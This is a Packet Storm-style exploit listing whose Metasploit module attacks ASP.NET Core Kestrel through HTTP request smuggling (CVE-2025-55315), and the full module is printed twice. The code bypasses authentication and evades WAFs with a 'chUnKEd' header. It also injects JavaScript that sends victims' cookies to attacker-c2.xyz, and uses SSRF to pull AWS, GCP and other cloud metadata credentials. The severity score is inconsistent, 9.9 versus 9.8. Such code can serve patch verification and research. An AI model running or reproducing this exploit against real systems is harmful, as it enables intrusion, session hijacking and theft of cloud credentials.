9.9
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Description
This Metasploit auxiliary module targets a critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel caused by improper parsing of malformed chunked transfer encoding notably LF-only line handling and case-variant headers like chUnKEd...
Basic Information
ID
PACKETSTORM:219356
Published
Apr 21, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : ASP.net 8.0.10 Core Kestrel HTTP Request Smuggling Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://microsoft.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel caused by
improper parsing of malformed chunked transfer encoding (notably LF-only line handling and case-variant headers like chUnKEd).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ASP.NET Core Kestrel HTTP Request Smuggling - CVE-2025-55315',
'Description' => %q{
This module exploits a critical HTTP Request Smuggling vulnerability in unpatched
versions of ASP.NET Core Kestrel due to improper handling of malformed chunk
extensions (LF-only line endings).
The vulnerability allows:
1. Authentication bypass to access restricted endpoints (/admin)
2. Session hijacking via response queue poisoning
3. SSRF to internal metadata services (AWS, GCP, Azure)
Patched in .NET 9.0.1 / 8.0.10+ (October 2025).
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-55315'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-55315'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315']
],
'DisclosureDate' => '2025-10-15',
'Platform' => 'windows',
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
}
)
)
register_options([
Opt::RPORT(80),
OptBool.new('SSL', [false, 'Use SSL/TLS', false]),
OptString.new('TARGET_URI', [true, 'Base path', '/']),
OptString.new('BYPASS_PATH', [false, 'Path to bypass authentication', '/admin']),
OptString.new('SSRF_TARGET', [false, 'Custom SSRF target URL', 'http://169.254.169.254/latest/meta-data/']),
OptBool.new('AUTH_BYPASS', [true, 'Attempt authentication bypass', true]),
OptBool.new('SESSION_HIJACK', [true, 'Attempt session hijacking', true]),
OptBool.new('SSRF', [true, 'Attempt SSRF', true]),
OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 10])
])
end
def run_host(ip)
print_status("Starting CVE-2025-55315 exploitation against #{ip}:#{rport}")
# Step 1: Fingerprinting - Check if vulnerable
unless vulnerable?
print_good("#{ip}:#{rport} appears patched or not vulnerable")
return
end
print_error("#{ip}:#{rport} is VULNERABLE to CVE-2025-55315!")
report_vulnerability
# Step 2: Execute exploits based on user options
exploit_results = {}
if datastore['AUTH_BYPASS']
exploit_results[:auth_bypass] = auth_bypass
end
if datastore['SESSION_HIJACK']
exploit_results[:session_hijack] = session_hijack
end
if datastore['SSRF']
exploit_results[:ssrf] = ssrf_exploit
end
# Step 3: Report findings
report_exploitation_results(exploit_results)
end
private
def build_chunked_request(method, path, body = '', extra_headers = [])
"""
Build HTTP request with chunked encoding using WAF bypass
Uses 'chUnKEd' header to bypass WAF rules
"""
request = "#{method} #{path} HTTP/1.1\r\n"
request += "Host: #{vhost}\r\n"
request += "Transfer-Encoding: chUnKEd\r\n" # WAF bypass
request += "Content-Type: application/x-www-form-urlencoded\r\n"
extra_headers.each do |header|
request += "#{header}\r\n"
end
request += "\r\n"
request += body
request
end
def build_smuggled_request(method, path, headers = [], body = '')
"""
Build smuggled HTTP request to be injected
"""
req = "#{method} #{path} HTTP/1.1\r\n"
req += "Host: #{vhost}\r\n"
headers.each do |header|
req += "#{header}\r\n"
end
req += "Content-Length: #{body.length}\r\n" if body.length > 0
req += "\r\n"
req += body
req
end
def vulnerable?
"""
Check if target is vulnerable by sending malformed chunked request
"""
print_status("Checking if #{peer} is vulnerable...")
# Malformed chunked payload with LF-only line endings
test_payload = "1\nx\n0\n\n"
request = build_chunked_request("POST", "/", test_payload)
begin
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI']),
'data' => test_payload,
'headers' => {
'Transfer-Encoding' => 'chUnKEd'
},
'ctype' => 'application/x-www-form-urlencoded'
}, datastore['TIMEOUT'])
if response.nil?
print_error("No response received")
return false
end
if response.code == 400
print_good("Target returned 400 Bad Request - Likely patched")
return false
else
print_good("Target accepted malformed chunked encoding - VULNERABLE!")
return true
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Connection failed")
return false
end
end
def auth_bypass
"""
Bypass authentication to access protected endpoints
"""
bypass_path = datastore['BYPASS_PATH']
print_status("Attempting authentication bypass to #{bypass_path}")
smuggled = build_smuggled_request("GET", bypass_path, [
"X-Forwarded-For: 127.0.0.1",
"X-Bypass: true"
])
exploit_payload = "1\nx\n" + smuggled + "0\r\n\r\n"
begin
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI']),
'data' => exploit_payload,
'headers' => {
'Transfer-Encoding' => 'chUnKEd'
}
}, datastore['TIMEOUT'])
if response && response.body
indicators = ['admin', 'dashboard', 'welcome', 'panel', 'console', 'login']
found = indicators.any? { |i| response.body.downcase.include?(i) }
if found || (response.code == 200 && response.body.length > 100)
print_good("Authentication bypass SUCCESSFUL!")
path = store_loot(
'kestrel.auth_bypass',
'text/html',
rhost,
response.body,
"cve_2025_55315_auth_bypass.html",
"Authentication bypass response from #{bypass_path}"
)
print_good("Saved response to #{path}")
report_note(
host: rhost,
port: rport,
type: 'cve_2025_55315_auth_bypass',
data: { path: bypass_path, status: response.code }
)
return true
end
end
print_status("Authentication bypass failed")
return false
rescue ::Exception => e
print_error("Auth bypass failed: #{e.message}")
return false
end
end
def session_hijack
"""
Inject JavaScript to steal cookies via response queue poisoning
"""
print_status("Attempting session hijacking...")
js_payload = %Q|
<script>
fetch('http://attacker-c2.xyz/steal?c=' + encodeURIComponent(document.cookie), {
mode: 'no-cors'
});
console.log('[*] Cookie stolen: ' + document.cookie);
</script>
|
smuggled_response = %Q|HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: #{js_payload.length}
#{js_payload}|
exploit_payload = "0\r\n\r\n" + smuggled_response
begin
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI']),
'data' => exploit_payload,
'headers' => {
'Transfer-Encoding' => 'chUnKEd'
}
}, datastore['TIMEOUT'])
print_good("Session hijacking payload injected")
print_warning("Check your C2 server for stolen cookies")
report_note(
host: rhost,
port: rport,
type: 'cve_2025_55315_session_hijack',
data: { payload: js_payload, status: 'injected' }
)
return true
rescue ::Exception => e
print_error("Session hijack failed: #{e.message}")
return false
end
end
def ssrf_exploit
"""
SSRF to internal services (AWS metadata, internal endpoints)
"""
ssrf_target = datastore['SSRF_TARGET']
print_status("Attempting SSRF to #{ssrf_target}")
# List of common SSRF targets to try
targets = [
ssrf_target,
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/user-data/",
"http://127.0.0.1:8080/actuator/env",
"http://localhost:8080/actuator/health",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://metadata.google.internal/computeMetadata/v1/",
"http://100.100.100.200/latest/meta-data/"
]
targets.uniq.each do |target|
print_status("Trying SSRF target: #{target}")
# Build smuggled request to internal target
uri = URI(target) rescue nil
next unless uri
host_header = uri.host
smuggled = build_smuggled_request("GET", target, [
"Host: #{host_header}"
])
exploit_payload = "0\r\n\r\n" + smuggled
begin
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI']),
'data' => exploit_payload,
'headers' => {
'Transfer-Encoding' => 'chUnKEd'
}
}, datastore['TIMEOUT'])
if response && response.body && response.body.length > 50
# Check for sensitive data patterns
if response.body =~ /role/i ||
response.body =~ /AccessKeyId/i ||
response.body =~ /SecretAccessKey/i ||
response.body =~ /Token/i
print_good("SSRF SUCCESS! Found sensitive data from #{target}")
# Save the loot
path = store_loot(
'kestrel.ssrf',
'text/plain',
rhost,
response.body,
"cve_2025_55315_ssrf.txt",
"SSRF response from #{target}"
)
print_good("Saved SSRF response to #{path}")
report_vuln(
host: rhost,
port: rport,
name: "CVE-2025-55315 SSRF",
info: "Successfully accessed internal endpoint: #{target}"
)
return true
end
end
rescue ::Exception => e
print_error("SSRF attempt to #{target} failed: #{e.message}")
next
end
end
print_status("SSRF exploitation failed")
return false
end
def report_vulnerability
"""
Report the vulnerability to the database
"""
report_vuln(
host: rhost,
port: rport,
name: "CVE-2025-55315 - ASP.NET Core Kestrel HTTP Request Smuggling",
refs: references
)
report_note(
host: rhost,
port: rport,
type: 'cve_2025_55315_vulnerable',
data: {
cve: 'CVE-2025-55315',
severity: 'Critical',
cvss: 9.8
}
)
end
def report_exploitation_results(results)
"""
Print and report exploitation results
"""
print_status("\n" + "=" * 60)
print_status("Exploitation Results Summary")
print_status("=" * 60)
results.each do |exploit, success|
status = success ? "SUCCESS" : "FAILED"
color = success ? "\e[32m" : "\e[31m"
print_status("#{exploit.to_s.upcase}: #{color}#{status}\e[0m")
end
print_status("=" * 60)
report_note(
host: rhost,
port: rport,
type: 'cve_2025_55315_exploitation',
data: results
)
end
def peer
"#{rhost}:#{rport}"
end
def vhost
datastore['VHOST'] || rhost
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : ASP.net 8.0.10 Core Kestrel HTTP Request Smuggling Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://microsoft.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel caused by
improper parsing of malformed chunked transfer encoding (notably LF-only line handling and case-variant headers like chUnKEd).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ASP.NET Core Kestrel HTTP Request Smuggling - CVE-2025-55315',
'Description' => %q{
This module exploits a critical HTTP Request Smuggling vulnerability in unpatched
versions of ASP.NET Core Kestrel due to improper handling of malformed chunk
extensions (LF-only line endings).
The vulnerability allows:
1. Authentication bypass to access restricted endpoints (/admin)
2. Session hijacking via response queue poisoning
3. SSRF to internal metadata services (AWS, GCP, Azure)
Patched in .NET 9.0.1 / 8.0.10+ (October 2025).
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-55315'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-55315'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315']
],
'DisclosureDate' => '2025-10-15',
'Platform' => 'windows',
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
}
)
)
register_options([
Opt::RPORT(80),
OptBool.new('SSL', [false, 'Use SSL/TLS', false]),
OptString.new('TARGET_URI', [true, 'Base path', '/']),
OptString.new('BYPASS_PATH', [false, 'Path to bypass authentication', '/admin']),
OptString.new('SSRF_TARGET', [false, 'Custom SSRF target URL', 'http://169.254.169.254/latest/meta-data/']),
OptBool.new('AUTH_BYPASS', [true, 'Attempt authentication bypass', true]),
OptBool.new('SESSION_HIJACK', [true, 'Attempt session hijacking', true]),
OptBool.new('SSRF', [true, 'Attempt SSRF', true]),
OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 10])
])
end
def run_host(ip)
print_status("Starting CVE-2025-55315 exploitation against #{ip}:#{rport}")
# Step 1: Fingerprinting - Check if vulnerable
unless vulnerable?
print_good("#{ip}:#{rport} appears patched or not vulnerable")
return
end
print_error("#{ip}:#{rport} is VULNERABLE to CVE-2025-55315!")
report_vulnerability
# Step 2: Execute exploits based on user options
exploit_results = {}
if datastore['AUTH_BYPASS']
exploit_results[:auth_bypass] = auth_bypass
end
if datastore['SESSION_HIJACK']
exploit_results[:session_hijack] = session_hijack
end
if datastore['SSRF']
exploit_results[:ssrf] = ssrf_exploit
end
# Step 3: Report findings
report_exploitation_results(exploit_results)
end
private
def build_chunked_request(method, path, body = '', extra_headers = [])
"""
Build HTTP request with chunked encoding using WAF bypass
Uses 'chUnKEd' header to bypass WAF rules
"""
request = "#{method} #{path} HTTP/1.1\r\n"
request += "Host: #{vhost}\r\n"
request += "Transfer-Encoding: chUnKEd\r\n" # WAF bypass
request += "Content-Type: application/x-www-form-urlencoded\r\n"
extra_headers.each do |header|
request += "#{header}\r\n"
end
request += "\r\n"
request += body
request
end
def build_smuggled_request(method, path, headers = [], body = '')
"""
Build smuggled HTTP request to be injected
"""
req = "#{method} #{path} HTTP/1.1\r\n"
req += "Host: #{vhost}\r\n"
headers.each do |header|
req += "#{header}\r\n"
end
req += "Content-Length: #{body.length}\r\n" if body.length > 0
req += "\r\n"
req += body
req
end
def vulnerable?
"""
Check if target is vulnerable by sending malformed chunked request
"""
print_status("Checking if #{peer} is vulnerable...")
# Malformed chunked payload with LF-only line endings
test_payload = "1\nx\n0\n\n"
request = build_chunked_request("POST", "/", test_payload)
begin
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI']),
'data' => test_payload,
'headers' => {
'Transfer-Encoding' => 'chUnKEd'
},
'ctype' => 'application/x-www-form-urlencoded'
}, datastore['TIMEOUT'])
if response.nil?
print_error("No response received")
return false
end
if response.code == 400
print_good("Target returned 400 Bad Request - Likely patched")
return false
else
print_good("Target accepted malformed chunked encoding - VULNERABLE!")
return true
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Connection failed")
return false
end
end
def auth_bypass
"""
Bypass authentication to access protected endpoints
"""
bypass_path = datastore['BYPASS_PATH']
print_status("Attempting authentication bypass to #{bypass_path}")
smuggled = build_smuggled_request("GET", bypass_path, [
"X-Forwarded-For: 127.0.0.1",
"X-Bypass: true"
])
exploit_payload = "1\nx\n" + smuggled + "0\r\n\r\n"
begin
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI']),
'data' => exploit_payload,
'headers' => {
'Transfer-Encoding' => 'chUnKEd'
}
}, datastore['TIMEOUT'])
if response && response.body
indicators = ['admin', 'dashboard', 'welcome', 'panel', 'console', 'login']
found = indicators.any? { |i| response.body.downcase.include?(i) }
if found || (response.code == 200 && response.body.length > 100)
print_good("Authentication bypass SUCCESSFUL!")
path = store_loot(
'kestrel.auth_bypass',
'text/html',
rhost,
response.body,
"cve_2025_55315_auth_bypass.html",
"Authentication bypass response from #{bypass_path}"
)
print_good("Saved response to #{path}")
report_note(
host: rhost,
port: rport,
type: 'cve_2025_55315_auth_bypass',
data: { path: bypass_path, status: response.code }
)
return true
end
end
print_status("Authentication bypass failed")
return false
rescue ::Exception => e
print_error("Auth bypass failed: #{e.message}")
return false
end
end
def session_hijack
"""
Inject JavaScript to steal cookies via response queue poisoning
"""
print_status("Attempting session hijacking...")
js_payload = %Q|
<script>
fetch('http://attacker-c2.xyz/steal?c=' + encodeURIComponent(document.cookie), {
mode: 'no-cors'
});
console.log('[*] Cookie stolen: ' + document.cookie);
</script>
|
smuggled_response = %Q|HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: #{js_payload.length}
#{js_payload}|
exploit_payload = "0\r\n\r\n" + smuggled_response
begin
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI']),
'data' => exploit_payload,
'headers' => {
'Transfer-Encoding' => 'chUnKEd'
}
}, datastore['TIMEOUT'])
print_good("Session hijacking payload injected")
print_warning("Check your C2 server for stolen cookies")
report_note(
host: rhost,
port: rport,
type: 'cve_2025_55315_session_hijack',
data: { payload: js_payload, status: 'injected' }
)
return true
rescue ::Exception => e
print_error("Session hijack failed: #{e.message}")
return false
end
end
def ssrf_exploit
"""
SSRF to internal services (AWS metadata, internal endpoints)
"""
ssrf_target = datastore['SSRF_TARGET']
print_status("Attempting SSRF to #{ssrf_target}")
# List of common SSRF targets to try
targets = [
ssrf_target,
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/user-data/",
"http://127.0.0.1:8080/actuator/env",
"http://localhost:8080/actuator/health",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://metadata.google.internal/computeMetadata/v1/",
"http://100.100.100.200/latest/meta-data/"
]
targets.uniq.each do |target|
print_status("Trying SSRF target: #{target}")
# Build smuggled request to internal target
uri = URI(target) rescue nil
next unless uri
host_header = uri.host
smuggled = build_smuggled_request("GET", target, [
"Host: #{host_header}"
])
exploit_payload = "0\r\n\r\n" + smuggled
begin
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI']),
'data' => exploit_payload,
'headers' => {
'Transfer-Encoding' => 'chUnKEd'
}
}, datastore['TIMEOUT'])
if response && response.body && response.body.length > 50
# Check for sensitive data patterns
if response.body =~ /role/i ||
response.body =~ /AccessKeyId/i ||
response.body =~ /SecretAccessKey/i ||
response.body =~ /Token/i
print_good("SSRF SUCCESS! Found sensitive data from #{target}")
# Save the loot
path = store_loot(
'kestrel.ssrf',
'text/plain',
rhost,
response.body,
"cve_2025_55315_ssrf.txt",
"SSRF response from #{target}"
)
print_good("Saved SSRF response to #{path}")
report_vuln(
host: rhost,
port: rport,
name: "CVE-2025-55315 SSRF",
info: "Successfully accessed internal endpoint: #{target}"
)
return true
end
end
rescue ::Exception => e
print_error("SSRF attempt to #{target} failed: #{e.message}")
next
end
end
print_status("SSRF exploitation failed")
return false
end
def report_vulnerability
"""
Report the vulnerability to the database
"""
report_vuln(
host: rhost,
port: rport,
name: "CVE-2025-55315 - ASP.NET Core Kestrel HTTP Request Smuggling",
refs: references
)
report_note(
host: rhost,
port: rport,
type: 'cve_2025_55315_vulnerable',
data: {
cve: 'CVE-2025-55315',
severity: 'Critical',
cvss: 9.8
}
)
end
def report_exploitation_results(results)
"""
Print and report exploitation results
"""
print_status("\n" + "=" * 60)
print_status("Exploitation Results Summary")
print_status("=" * 60)
results.each do |exploit, success|
status = success ? "SUCCESS" : "FAILED"
color = success ? "\e[32m" : "\e[31m"
print_status("#{exploit.to_s.upcase}: #{color}#{status}\e[0m")
end
print_status("=" * 60)
report_note(
host: rhost,
port: rport,
type: 'cve_2025_55315_exploitation',
data: results
)
end
def peer
"#{rhost}:#{rport}"
end
def vhost
datastore['VHOST'] || rhost
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================